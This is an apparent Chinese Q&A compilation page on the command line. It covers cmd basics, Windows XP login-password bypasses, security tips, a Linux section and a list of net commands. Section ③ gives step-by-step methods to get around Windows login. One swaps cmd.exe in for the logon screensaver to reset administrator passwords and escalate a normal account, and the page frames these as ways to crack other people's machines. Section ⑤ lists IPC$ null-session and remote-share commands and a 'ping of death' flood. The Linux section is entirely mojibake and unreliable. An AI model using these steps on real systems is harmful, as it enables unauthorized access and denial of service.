① 命令行是什么意思
命令行一般指命令提示符,即在操作系统中,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。
命令行是在OS / 2 , Windows CE与Windows NT平台为基础的操作系统(包括Windows 2000,Windows XP,Windows Vista,Windows Server 2003,Windows 7等等系统)下的“MS-DOS方式”。
在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序。
微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。输入一些命令,cmd.exe可以执行,比如输入shutdown -s -t 30就会在30秒后关机。
(1)电命令行界面的女孩看过来扩展阅读:
命令行操作方法:(以Windows XP 系统为例)
打开“组策略编辑器”窗口,在左窗格中依次展开“用户配置”→“管理模板”目录并选中“系统”目录。
然后在右窗格中将“阻止访问命令提示符”策略设置为“已启用”状态。启用该策略后,当用户试图打开“命令提示符”窗口时系统会弹出提示消息阻止用户的操作。
命令行之间的区别:
由于Windows NT内核系统是32和64位系统,并非Windows 9x及以前的16/32位系统,自带的命令提示符(CMD)实际只能进行非DOS程序的操作。
但是DOS程序是需要ntvdm.exe辅助运行的(且大部分无法运行,64位系统没有该程序),DOS是单独的一个16位操作系统,而CMD是32和64位Windows NT内核系统的一个程序。
② DOS命令行窗口是什么
DOS命令行窗口也就是管理员命令提示符窗口。
1、开始 - 运行输入:CMD,回车,可以打开DOS命令行窗口;
还可以执行很多的有用命令,在此就不一一说明了。
③ 进入带命令行安全模式后什么也不显示,还是恢复原来的界面,该怎么办
开机密码破解大全:
你在使用的 Windows XP 操作系统的时候是不是遇到过忘记密码的事情呢?下面给大家讲讲几种方法。
方法一:
(1)启动电脑,使用DOS启动盘(比如:Windows 98启动盘)进入纯DOS状态。
(2)在DOS提示符下,根据下面步骤操作:
cd\ (切换到根目录)
cd windows \system32 (切换到系统目录)
mkdir temphack (创建临时文件夹)
logon.scr temphacklogon.scr(备份logon.scr)
cmd.exe temphackcmd.exe (备份cmd.exe)
del logon.scr (删除logon.scr)
rename cmd.exe logon.scr (将cmd.exe改名为logon.scr)
exit (退出)
(3)重启电脑,在登录等待画面出现后静静等候,如果没有修改屏幕保护时间,大约10分钟,系统就会自动启动登录屏保程序,可是由于Logon.scr已经由cmd.exe代替了,所以系统就启动了cmd.exe,进入命令行提示符状态。
(4)这时,我们可以使用命令:net user password来修改密码了。
假设有一个超级管理员的帐号是Admin,希望重新设置其密码为admin,那么可以使用命令:net user Admin admin,回车后即可更改密码。
(5)接下来,想不想进入桌面系统看看硬盘上面的东西呢?在命令行提示符状态下输入Explorer命令试试看,是不是很顺利地进入了Windows的桌面?
小提示
如果你有一个普通用户帐号,利用上面介绍的方法稍作改动就可以把它变成超级管理员Administrator帐号。
备份logon.scr和usermgr.exe,将第二步中的cmd.exe全部换成usermgr.exe,然后重启,静静等候,这时出现的不是命令行提示符,而是用户管理器,这时我们就有权限把自己加到Administrator组了。
方法二
由于Windows XP在安装过程时,首先以Administrator默认登陆,有不少朋友没有注意到为它设置密码,而是根据要求创建一个个人的帐户,以后进入系统后即使用此帐户登陆,而且在 Windows XP 的登录界面中也只出现这个创建的用户帐号,而不出现Administrator,实际这个帐号依然存在,而且密码为空。
知道了这个原理,你可以直接正常启动,在登陆界面出现后,按Ctrl+Alt,再按Del两次,即可出现经典登陆画面,此时在用户名处填入Administrator,密码为空即可进入,接下来,就可以进入“控制面板”的“用户和密码”,修改你想要修改的用户的密码即可。
密码过期前显示信息提示
预设的情况下, Windows XP 会在密码过期前14天显示信息提示使用者。如果要更改天数,可打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon],双击右侧窗格中的“PasswordExpiryWarning”双字节值,根据你自己的需要设置提前提示的天数。
从待机状态恢复时不输入密码
打开“控制面板”→电源选项,点击“高级”选项卡,然后将“在计算机从待机状态恢复时,提示输入密码”前的对勾取消。
别让密码过期的另一招
Windows XP在密码过期前14天就会提醒你更换密码。除了可以通过修改注册表来取消提醒外,我们还可以在“运行”命令里输入:lusrmgr.msc,回车,在弹出的Local Users and GroUPS对话框中,选择“用户”文件夹,在右边窗口中找到你所使用的用户名,例如:Format,双击后,会弹出“Format 属性”对话框,只需选中“密码永不过期”复选框。
退出带密码的屏保时出现登陆界面
Windows XP中,如果设置了屏幕保护和密码保护,退出屏幕保护时为锁定计算机,显示的是欢迎界面。如何才能在退出屏保时为登陆界面呢?
点击“我的电脑”→“控制面板”→“显示”,在“屏幕保护程序”选项卡中的“屏幕保护程序”下,单击“屏幕保护程序”。 选中“密码保护”复选框,取消“显示欢迎屏幕”前面的勾选。
如果希望在开机时也显示登陆界面,需要进一步操作,在“控制面板”中双击“用户帐号”,打开“用户帐号”窗口,单击“更改用户登录或注销方式”,取消“使用欢迎屏幕”前面的勾选。
这样,以后无论是登录还是从屏幕保护返回,都直接进入登录界面而不是欢迎界面。
创建一张密码重置磁盘
以前在使用Windows 2000时不少用户都遇到过因为忘记了自己的密码而无法进入系统的问题,在Windows XP中你可以创建一张密码重设磁盘,这样在忘记密码时可以使用它来重新设置一个密码。点击开始→控制面板,然后点击用户帐号;在下面点击你的帐号名;在弹出的用户帐号对话框中选择“创建一张密码重设盘”,跟随向导的指示完成密码重设盘的制作。注意将该磁盘存放在安全的地方,因为任何人都可以使用它来访问你的本地用户帐号。
找到密码提示语
会不会担心记不住自己的登录密码?没关系,在最初生成密码时,你可以在提示符后生成一个提示语,Windows XP会把密码提示语保存在注册表[Hkey_local_machine\Software\Microsoft\Windows\Current Version\Hints]里面。
限制自动登录的次数
这个设置用于限制自动登录的次数,一旦达到限制的数字,自动登录功能会禁用,系统会显示标准的认证窗口。打开“注册表编辑器”,找[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon],在右侧窗格创建名为AutoLogonCount的字符串值,将其值设置为自动登录的次数。这样每当系统启动一次,自动登录的次数将会减少一次,直到为零。然后不允许自动登录。AutoLogonCount和DefaultPassword会从注册表删除,AutoAdminLogon为零。
自动登录时禁用Shift键
当使用自动登录功能时,用户可通过按住Shift键忽略登录进程,输入其他用户名及密码进入电脑。该技巧可以禁用自动登录时的Shift键功能。操作步骤如下:打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]子键并选中它。在右侧窗口中创建名为IgnoreShiftOverride的字符串值,命,将其键值设置为1。退出“注册表编辑器”,重启电脑。这样在启动时就不能通过按住Shift键中断自动登录过程了。
让别人访问你的电脑
打开“控制面板”→“用户帐号”,接着点击“创建一个新帐号”,然后在向导中输入其他用户帐号名称及密码,最后选择将其类型设置为“受限”,然后点击“创建帐号”按钮,这样别人就可以登录你的电脑了。
让指定的用户只能在特定时间登录
做家长的可能会希望限制孩子使用电脑的时间。只要按照以下方法,就能轻松实现。不过这要求你有Administrator权限。
首先进入“命令行提示符”,以Guest这个账户为例。如果需要设置这个账户从周一到周五的早上9点到晚上5点才能登录。可以用下面这个命令:
net user Guest /time:M-F,08:00-17:00,或者net user Guest /time:M-F,9am-5pm
回车后就会生效。
如果需要依次指定每天的时间,那么也只需要按照下面这个格式:
net user Guest /time:M,4am-5pm;T,1pm-3pm;W-F,8:00-17:00。
而net user Guest /time:all 这个命令则可以允许该用户随时登录。
当心你的加密文件
从Windows 2000开始,在NTFS文件 系统 的分区中Windows可以帮助你加密文件。方法是,在想加密的文件或文件夹上点右键,选择“属性”,在属性的“常规”选项卡上点击“高级”按钮,会弹出一个窗口,选中窗口中的“加密内容以便保护数据”即可实现在NTFS卷上对文件的加密。
小提示
这被称作为EFS(Encrypting File System,加密文件系统)。这种加密的好处是,加密的过程是完全透明的,也就是说,如果你加密了这些文件,你对这些文件的访问将完全允许(并不需要你输入密码,因为验证过程在你登录Windows的时候就进行了),而其它人则不能访问或移动这些数据。
不过如果你的Windows突然崩溃,在无计可施的情况下只能重装系统,但原来被加密过的数据会出现无法打开的问题。这时只有在域环境下,才可以得到域管理员的帮助,解密这些文件。这是因为当你使用EFS加密后,系统会根据你的SID(Security Identifier,安全标示符)自动生成一个密钥,要解密这些文件就要使用这个密钥。对于系统而言,并不是根据用户名来区别不同的用户,而是根据SID,这个SID是唯一的。SID和用户名的关系跟人的姓名和身份证号码的关系是一样的。虽然有同名同姓的人,但他们的身份证号码绝对不会相同;虽然有相同的用户名(指网络上的,因为本地用户不能有相同的用户名),但他们的SID绝对不同。这也就解释了为什么重装系统后即使使用之前的用户名和密码登陆也不能打开以前的加密文件。
所以在重装系统之前最好能把加密的数据全部解密。然而,为了应付突发的系统崩溃,就需要备份好自己密钥,这样系统崩溃后只要重装系统,并导入密钥,就可以继续使用之前的加密文件了。
备份密钥的方法是:单击“开始”→“运行”,输入:certmgr.msc,回车后打开“证书管理器”,在 “当前用户”→“个人”→“证书”目录下,右击颁发给你的证书,在“所有任务”中点击“导出”,并选择Export The Private Key(导出私钥),其它选项按照默认设置。输入该用户的密码和保存路径就可以了。
在重装系统后,照旧运行certmgr.msc,并在“所有任务”中选择导入,选择好备份的证书,然后按照向导,就可以完成对密钥的导入。或直接在导出的pfx文件上点右键,选择“安装PFX”。这时,你的加密数据已经可以访问了。
开启安全文件系统
打开“注册表编辑器”,找到[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa],在右侧窗格将forceguest的键值改为1。
方法三
当有人为自己的机器设置了密码,而且不象xifeng那样明明白白告诉你密码的话,我们就要暴力破解它,哈哈。
利用NET命令
我们知道在 Windows XP 中提供了“net user”命令,该命令可以添加、修改用户账户信息,其语法格式为:
net user [UserName [Password*] [options]] [/domain]
net user [UserName {Password*} /add [options] [/domain]
net user [UserName [/delete] [/domain]]
每个参数的具体含义在Windows XP帮助中已做了详细的说明,在此笔者就不多阐述了。好了,我们现在以恢复本地用户“zhangbq”口令为例,来说明解决忘记登录密码的步骤:
1、重新启动计算机,在启动画面出现后马上按下F8键,选择“带命令行的安全模式”。
2、运行过程结束时, 系统 列出了系统超级用户“administrator”和本地用户“zhangbq”的选择菜单,鼠标单击“administrator”,进入命令行模式。
3、键入命令:“net user zhangbq 123456 /add”,强制将“zhangbq”用户的口令更改为“123456”。若想在此添加一新用户(如:用户名为abcdef,口令为123456)的话,请键入“netuser abcdef 123456 /add”,添加后可用“net localgroup administrators abcdef /add”命令将用户提升为系统管理组“administrators”的用户,并使其具有超级权限。
4、重新启动计算机,选择正常模式下运行,就可以用更改后的口令“123456”登录“zhangbq”用户了。
④ linux镄凛LI锻戒护琛岀晫闱㈢郴缁熸搷浣滃熀纭涓婃坠鎸囧崡
甯哥敤蹇鎹烽敭锛
Ctrl+d阌鐩樿緭鍏ョ粨𨱒熸垨阃鍑虹粓绔
Ctrl+s𨱌傚畾褰揿墠绋嫔簭锛屾殏锅滃悗鎸変笅浠绘剰阌鎭㈠嶈繍琛
Ctrl+z灏嗗綋鍓岖▼搴忔斁鍒板悗鍙拌繍琛岋纴鎭㈠嶅埌鍓嶅彴涓哄懡浠fg
Ctrl+a灏嗗厜镙囩Щ镊宠緭鍏ヨ屽ご锛岀浉褰扑簬Home阌
Ctrl+e灏嗗厜镙囩Щ镊宠緭鍏ヨ屾汤锛岀浉褰扑簬End阌
Ctrl+k鍒犻櫎浠庡厜镙囨墍鍦ㄤ綅缃鍒拌屾汤
Alt+Backspace钖戝墠鍒犻櫎涓涓鍗曡瘝
Shift+PgUp灏嗙粓绔鏄剧ず钖戜笂婊氩姩
Shift+PgDn灏嗙粓绔鏄剧ず钖戜笅婊氩姩
阃氶厤绗
缁堢閲岄溃杈揿叆镄勯氶厤绗︽槸鐢眘hell澶勭悊镄勶纴涓嶆槸鐢辨墍娑夊强鍒板懡浠よ鍙ュ勭悊镄勶纴瀹冨彧浼氩嚭鐜板湪锻戒护镄勫弬鏁板奸噷銆傚綋shell鍦ㄥ弬鏁板间腑阆囧埌浜嗛氶厤绗︽椂锛宻hell浼氩皢鍏跺綋浣滆矾寰勬垨鏂囦欢钖嶅幓鍦ㄧ佺洏涓婃悳瀵诲彲鑳界殑鍖归厤锛氲嫢绗﹀悎瑕佹眰镄勫尮閰嶅瓨鍦锛屽垯杩涜屼唬鎹锛堣矾寰勬墿灞曪级锛涘惁鍒椤氨灏呜ラ氶厤绗︿綔涓轰竴涓鏅阃氩瓧绗︿紶阃掔粰锻戒护锛岀劧钖庡啀鐢卞懡浠よ繘琛屽勭悊銆傛讳箣锛岄氶厤绗 瀹为檯涓婂氨鏄涓绉岘hell瀹炵幇镄勮矾寰勬墿灞曞姛鑳姐傚湪阃氶厤绗﹁澶勭悊钖庯纴shell浼氩厛瀹屾垚璇ュ懡浠ょ殑閲岖粍锛岀劧钖庡啀缁х画澶勭悊閲岖粍钖庣殑锻戒护锛岀洿镊虫墽琛岃ュ懡浠ゃ
渚嫔傦细
浠g爜濡备笅:
touch love_{1..10}_linux.txt鍙浠ュ垱寤簂ove_1_linux.txt鍒发ove_10_linux.txt鍏10涓鏂囦欢銆
*鍖归厤0 鎴栧氢釜瀛楃
?鍖归厤浠绘剰涓涓瀛楃
[list]鍖归厤 list 涓镄勪换镒忓崟涓瀛楃
[!list]鍖归厤 闄list 涓镄勪换镒忓崟涓瀛楃︿互澶栫殑瀛楃
[c1-c2]鍖归厤 c1-c2 涓镄勪换镒忓崟涓瀛楃 濡傦细[0-9] [a-z]
{string1,string2,}鍖归厤 sring1 鎴 string2 (鎴栨洿澶)鍏朵竴瀛楃︿覆
{c2..c2}鍖归厤 c1-c2 涓鍏ㄩ儴瀛楃 濡倇1..10}
鍦ㄥ懡浠よ屼腑銮峰彇甯锷
浠g爜濡备笅:
$ man command_name鍙浠ヨ幏寰楁煇涓锻戒护镄勮存槑鍜屼娇鐢ㄦ柟寮忕殑璇︾粏浠嬬粛銆俶an锻戒护鏄疢anual page镄勭缉鍐欍备娇鐢ㄨ繖涓锻戒护鏄剧ず镓嫔唽镞朵细杩涘叆涓涓绫讳技VIM镄勭紪杈戠晫闱锛屽彲浠ヤ娇鐢╒IM镄勫揩鎹烽敭𨱒ュ艰埅锛屽/浣犺佹悳绱㈢殑鍏抽敭瀛楋纴镆ユ垒鍒板悗浣犲彲浠ヤ娇鐢╪阌鍒囨崲鍒颁笅涓涓鍏抽敭瀛楁墍鍦ㄥ勶纴shift+n涓轰笂涓涓鍏抽敭瀛楁墍鍦ㄥ勚备娇鐢⊿pace缈婚〉锛孍nter钖戜笅婊氩姩涓琛岋纴鎴栬呬娇鐢╦鎴杒锛坴im缂栬緫鍣ㄧ殑绉诲姩阌锛夎繘琛屽悜鍓嶅悜钖庢粴锷ㄤ竴琛屻傛寜涓媓阌涓烘樉绀轰娇鐢ㄥ府锷(锲犱负man浣跨敤less浣滀负阒呰诲櫒锛屽疄涓簂ess宸ュ叿镄勫府锷)锛屾寜涓媞阃鍑恒
man镓嫔唽镄勫唴瀹瑰緢澶氾纴涓轰简渚夸簬镆ユ垒锛屾槸锅氢简鍒嗗唽锛埚垎鍖烘碉级澶勭悊镄勶纴鍦≧esearch Unix銆丅SD銆丱S X鍜孡inux涓锛屾坠鍐岄氩父琚鍒嗕负8涓鍖烘碉纴瀹夋帓濡备笅锛
涓鑸锻戒护
1.绯荤粺璋幂敤
2.搴揿嚱鏁帮纴娑电洊浜咰镙囧嗳鍑芥暟搴
3.鐗规畩鏂囦欢锛堥氩父鏄/dev涓镄勮惧囷级鍜岄┍锷ㄧ▼搴
4.鏂囦欢镙煎纺鍜岀害瀹
5.娓告垙鍜屽睆淇
6.𨱒傞”
7.绯荤粺绠$悊锻戒护鍜屽畧鎶よ繘绋
瑕佹煡鐪嬬浉搴斿尯娈电殑鍐呭癸纴灏卞湪man钖庨溃锷犱笂鐩稿簲鍖烘电殑鏁板瓧鍗冲彲锛屽傦细
浠g爜濡备笅:
$ man 3 printf镓链夌殑镓嫔唽椤甸伒寰涓涓甯歌佺殑甯冨眬锛屽叾涓洪氲繃绠鍗旷殑ASCII鏂囨湰灞旷ず钥屼紭鍖栵纴钥岃繖绉嶆儏鍐典笅鍙鑳芥病链変换浣曞舰寮忕殑楂树寒鎴栧瓧浣撴带鍒躲备竴鑸鍖呮嫭浠ヤ笅閮ㄥ垎鍐呭癸细
NAME锛埚悕绉帮级锛氲ュ懡浠ゆ垨鍑芥暟镄勫悕绉帮纴鎺ョ潃鏄涓琛岀亩浠嬨
SYNOPSIS锛堟傝侊级锛氩逛簬锻戒护锛屾e纺镄勬弿杩板畠濡备綍杩愯岋纴浠ュ强闇瑕佷粈涔堟牱镄勫懡浠よ屽弬鏁般傚逛簬鍑芥暟锛屼粙缁嶅嚱鏁版墍闇镄勫弬鏁帮纴浠ュ强鍝涓澶存枃浠跺寘钖璇ュ嚱鏁扮殑瀹氢箟銆
DESCRIPTION锛堣存槑锛夛细锻戒护鎴栧嚱鏁板姛鑳界殑鏂囨湰鎻忚堪銆
EXAMPLES锛堢ず渚嬶级锛氩父鐢ㄧ殑涓浜涚ず渚嬨
SEE ALSO锛埚弬瑙侊级锛氱浉鍏冲懡浠ゆ垨鍑芥暟镄勫垪琛ㄣ
𨱍宠佽幏寰楁洿璇︾粏镄勫府锷╋纴浣犺缮鍙浠ヤ娇鐢╥nfo锻戒护锛屼笉杩囬氩父浣跨敤man灏辫冻澶熶简銆傚傛灉浣犵煡阆撴煇涓锻戒护镄勪綔鐢锛屽彧鏄𨱍冲揩阃熸煡鐪嬩竴浜涘畠镄勬煇涓鍏蜂綋鍙傛暟镄勪綔鐢锛岄偅涔堜綘鍙浠ヤ娇鐢╤elp鍙傛暟锛屽ぇ閮ㄥ垎锻戒护閮戒细甯︽湁杩欎釜鍙傛暟銆
Linux鐢ㄦ埛绠$悊
Linux鏄涓涓鍙浠ュ疄鐜板氱敤鎴风橱褰旷殑镎崭綔绯荤粺锛屾湰鏂囱板綍浜哃inux镄勭敤鎴风$悊锛屽寘𨰾镆ョ湅銆佸垱寤虹敤鎴峰拰鐢ㄦ埛缁勶纴浠ュ强鏂囦欢镄勬潈闄愭満鍒躲
Linux鏄涓涓鍙浠ュ疄鐜板氱敤鎴风橱褰旷殑镎崭綔绯荤粺锛屾瘆濡傛潕闆峰拰阔╂呮呴兘鍙浠ュ悓镞剁橱闄嗗悓涓鍙颁富链猴纴浠栦滑鍏变韩涓浜涗富链虹殑璧勬簮锛屼絾浠栦滑涔熷垎鍒链夎嚜宸辩殑鐢ㄦ埛绌洪棿锛岀敤浜庡瓨鏀惧悇镊镄勬枃浠躲傚疄闄呬笂浠栦滑镄勬枃浠堕兘鏄鏀惧湪钖屼竴涓鐗╃悊纾佺洏涓婄殑鐢氲呖钖屼竴涓阃昏緫鍒嗗尯鎴栬呯洰褰曢噷锛屼絾浠栦滑浜掔浉涓嶅彲浠ョ湅鍒版垨镎崭綔瀵规柟镄勬枃浠讹纴杩欐f槸Linux鐢ㄦ埛绠$悊鍜屾潈闄愭満鍒躲
镆ョ湅鐢ㄦ埛
鐩存帴浣跨敤whoami锻戒护鍙浠ユ煡鐪嫔綋鍓岖橱褰旷敤鎴风殑鐢ㄦ埛钖嶏纴姝ゅ栬缮链墂ho锻戒护鍙浠ユ煡鐪嬫洿澶氲︾粏镄勪俊鎭銆
鍒涘缓鐢ㄦ埛
root𨱒冮檺锛屾槸绯荤粺𨱒冮檺镄勪竴绉嶃俽oot鏄疞inux鍜寀nix绯荤粺涓镄勮秴绾х$悊锻樼敤鎴峰笎鎴凤纴璇ュ笎鎴锋嫢链夋暣涓绯荤粺镊抽珮镞犱笂镄勬潈锷涳纴镓链夊硅薄浠栭兘鍙浠ユ搷浣滐纴镓浠ュ緢澶氶粦瀹㈠湪鍏ヤ镜绯荤粺镄勬椂鍊欙纴閮借佹妸𨱒冮檺鎻愬崌鍒皉oot𨱒冮檺銆俽oot璐︽埛灏辩浉褰扑簬Linux镄勪笂甯濄
涓鑸锏诲綍绯荤粺镞堕兘鏄浠ユ櫘阃氲处鎴风殑韬浠界橱褰旷殑锛埚嵆鍑′汉锛夈傚傛灉瑕佹坊锷犱竴涓鐢ㄦ埛锛堜笂甯濋犱汉锛夛纴闾d箞闇瑕佸熺敤涓涓嬩笂甯濈殑𨱒冨姏锛屽嵆浣跨敤sudo锻戒护銆备娇鐢ㄨ繖涓锻戒护链変袱涓澶у墠鎻愶纴涓鏄浣犺佺煡阆揿綋鍓岖橱褰旷敤鎴风殑瀵嗙爜锛屼簩鏄褰揿墠鐢ㄦ埛蹇呴’鍦╯udo鐢ㄦ埛缁勚
sudo adser user锛氩垱寤轰竴涓鏂扮敤鎴凤纸榛樿や细镊锷ㄥ垱寤轰竴涓钖屽悕镄勭敤鎴风粍锛夛纴钖屾椂浼氩湪/home鐩褰曚笅鍒涘缓涓涓瀵瑰簲镄勬枃浠跺す
su -l user锛氩垏鎹㈢橱褰旷敤鎴
exit锛堟垨CTRL+D锛夛细阃鍑哄綋鍓岖橱褰旷敤鎴
鐢ㄦ埛缁
鍦╨inux閲岄溃姣忎釜鐢ㄦ埛閮芥湁涓涓褰掑睘锛堢敤鎴风粍锛夛纴鐢ㄦ埛缁勭亩鍗曞湴鐞呜В灏辨槸涓缁勭敤鎴风殑闆嗗悎锛屽畠浠鍏变韩涓浜涜祫婧愬拰𨱒冮檺锛屽悓镞舵嫢链夌佹湁璧勬簮銆备竴涓鐢ㄦ埛鍙浠ュ睘浜庡氢釜鐢ㄦ埛缁勚
groups user锛氭煡鐪媢ser灞炰簬鍝涓鐢ㄦ埛缁勚傝緭鍑哄唴瀹瑰啋鍙蜂箣鍓嶈〃绀虹敤鎴凤纴涔嫔悗琛ㄧず璇ョ敤鎴锋墍灞炵殑鐢ㄦ埛缁勚
cat /etc/group |sort锛氲緭鍑哄备笅镓绀恒/etc/group鏂囦欢鍐呭瑰寘𨰾鐢ㄦ埛缁勶纸Group锛夈佺敤鎴风粍鍙d护銆丢ID鍙婅ョ敤鎴风粍镓鍖呭惈镄勭敤鎴凤纸User锛夛纴姣忎釜鐢ㄦ埛缁勪竴𨱒¤板綍銆傛牸寮忎负group_name:password:GID:user_list锛屽叾涓瀵嗙爜瀛楁典负琛ㄧず瀵嗙爜涓嶅彲瑙併
daemon::1:root
kmem::2:root
sys::3:root
usermod -G group user锛氢负鐢ㄦ埛娣诲姞鐢ㄦ埛缁勶纸闇瑕乺oot𨱒冮檺锛夈傚彲浠ョ敤杩欎釜锻戒护鎶婄敤鎴峰姞鍏sudo缁勶纴杩欐牱杩欎釜鐢ㄦ埛灏辫兘鍊熺敤root𨱒冮檺銆
deluser user --remove-home锛氩垹闄ょ敤鎴凤纸闇瑕乺oot𨱒冮檺锛夈--remove-home鍙傛暟琛ㄧず杩炲甫鍒犻櫎home鐩褰曚笅镄勬枃浠跺す銆
Linux鏂囦欢𨱒冮檺
ls锻戒护鍙浠ュ垪鍑哄綋鍓嶆枃浠跺す镄勬枃浠讹纴闄勫甫鍙傛暟璇存槑濡备笅锛
-l锛氢互杈冭︾粏镄勬牸寮忓垪鍑烘枃浠讹纸濡备笅镓绀猴级
-A锛氭樉绀洪櫎浜.(褰揿墠鐩褰)锛..涓娄竴绾х洰褰曚箣澶栫殑鍖呭惈闅愯棌鏂囦欢镄勬墍链夋枃浠讹纸Linux涓嬩互.寮澶寸殑鏂囦欢涓洪殣钘忔枃浠讹级
-dl dir锛氭煡鐪嬫煇涓涓鐩褰旷殑瀹屾暣灞炴э纴钥屼笉鏄鏄剧ず鐩褰曢噷闱㈢殑鏂囦欢灞炴
-sSh锛氩皬s涓烘樉绀烘枃浠跺ぇ灏忥纴澶S涓烘寜鏂囦欢澶у皬鎺掑簭锛宧鏄剧ず镓链夋枃浠跺ぇ灏忥纴骞朵互鏅阃氢汉绫昏兘鐪嬫哕镄勬柟寮忓憟鐜
浠g爜濡备笅:
drwxr-xr-x@ 11 root wheel 374 1 25 22:23 usr浠庡乏鍒板彸渚濇℃槸锛氭枃浠剁被鍨嫔拰𨱒冮檺锛岄摼鎺ユ暟锛屾墍链夎咃纴镓灞炵敤鎴风粍锛屾枃浠跺ぇ灏忥纴链钖庝慨鏀规椂闂达纴鏂囦欢钖嶃
1銆佹枃浠剁被鍨嫔拰𨱒冮檺锛坉rwxr-xr-x@锛
绗1浣峝琛ㄧず鏂囦欢绫诲瀷銆傚叾浣欐枃浠剁被鍨嬫湁锛
d锛氱洰褰
l锛氲蒋阈炬帴
b锛氩潡璁惧
c锛氩瓧绗﹁惧
s锛歋ocket
p锛氱¢亾
-锛氭櫘阃氭枃浠
钖庨溃9浣嶆疮3涓1缁勶纴鍒嗕负3缁勶纴鍒嗗埆鏄𨰾ユ湁钥呮潈闄愩佹墍灞炵敤鎴风粍𨱒冮檺銆佸叾浠栫敤鎴锋潈闄愶纴瀛楃︾殑镒忎箟鏄锛
r锛氩厑璁歌绘潈闄愶纴姣斿傚彲浠ヤ娇鐢╟at file name涔嬬被镄勫懡浠ゆ潵璇诲彇镆愪釜鏂囦欢镄勫唴瀹
w锛氩厑璁稿啓𨱒冮檺锛岃〃绀轰綘鍙浠ョ紪杈戝拰淇鏀规煇涓鏂囦欢
x锛氩厑璁告墽琛屾潈闄愶纴阃氩父鎸囧彲浠ヨ繍琛岀殑浜岃繘鍒剁▼搴忔枃浠舵垨钥呰剼链鏂囦欢銆侺inux涓娄笉鏄阃氲繃鏂囦欢钖庣紑钖嶆潵鍖哄垎鏂囦欢镄勭被鍨嬨傛敞镒忥细涓涓鐩褰曡佸悓镞跺叿链夎绘潈闄愬拰镓ц屾潈闄愭墠鍙浠ユ墦寮锛岃屼竴涓鐩褰曡佹湁鍐欐潈闄愭墠鍏佽稿湪鍏朵腑鍒涘缓鍏跺畠鏂囦欢锛岃繖鏄锲犱负鐩褰曟枃浠跺疄闄呬缭瀛樼潃璇ョ洰褰曢噷闱㈢殑鏂囦欢镄勫垪琛ㄧ瓑淇℃伅
2銆侀摼鎺ユ暟
阈炬帴鍒拌ユ枃浠舵墍鍦ㄧ殑inode缁撶偣镄勬枃浠跺悕鏁扮洰锛埚叧浜庤繖涓姒傚康娑夊强鍒发inux鏂囦欢绯荤粺镄勭浉鍏虫傚康鐭ヨ瘑锛岃嚜琛屾煡阒咃级
3銆佹枃浠跺ぇ灏
浠inode缁撶偣澶у皬涓哄崟浣嶆潵琛ㄧず镄勬枃浠跺ぇ灏忥纴鍙浠ョ粰ls锷犱笂-h鍙傛暟锛堣〃绀猴纴杩欐墠鏄缁欎汉鐪嬬殑锛夋潵镟寸洿瑙傜殑镆ョ湅鏂囦欢镄勫ぇ灏
浣跨敤chown param file锻戒护鍙浠ヤ慨鏀规枃浠秄ile𨱒冮檺锛堥渶瑕乺oot𨱒冮檺锛夈傚叾涓鍙傛暟param鍙浠ユ槸浜岃繘鍒跺舰寮忥纴涔熷彲浠ユ槸锷犲噺璧嫔兼搷浣滃舰寮忋
浜岃繘鍒跺舰寮忓俢hown 755 some_file锛屽弬鏁颁腑3涓鏁板瓧鍒嗗埆琛ㄧず𨰾ユ湁钥咃纴镓灞炵敤鎴风粍锛屽叾浠栫敤鎴风殑𨱒冮檺鍊笺傛潈闄愬肩殑璁$畻鐢眗銆亀銆亁鍐冲畾锛屾湁𨱒冮檺涓1锛屾棤𨱒冮檺涓0锛岀敱浜岃繘鍒跺姞𨱒冩墍寰楋纴濡7浠h〃rwx锛5浠h〃r-x銆
锷犲噺璧嫔兼搷浣滃舰寮忓俢hmod go-rw some_file锛実o杩樻湁u锛屽垎鍒琛ㄧずgroup锛宱thers锛寀ser,+,-灏卞垎鍒琛ㄧず澧炲姞鍜屽幓鎺夌浉搴旂殑𨱒冮檺銆
⑤ cmd中全部命令`````
以下是我收藏的,全部给你了:
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schele)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于K的文件并一直ping就成了死亡之ping)
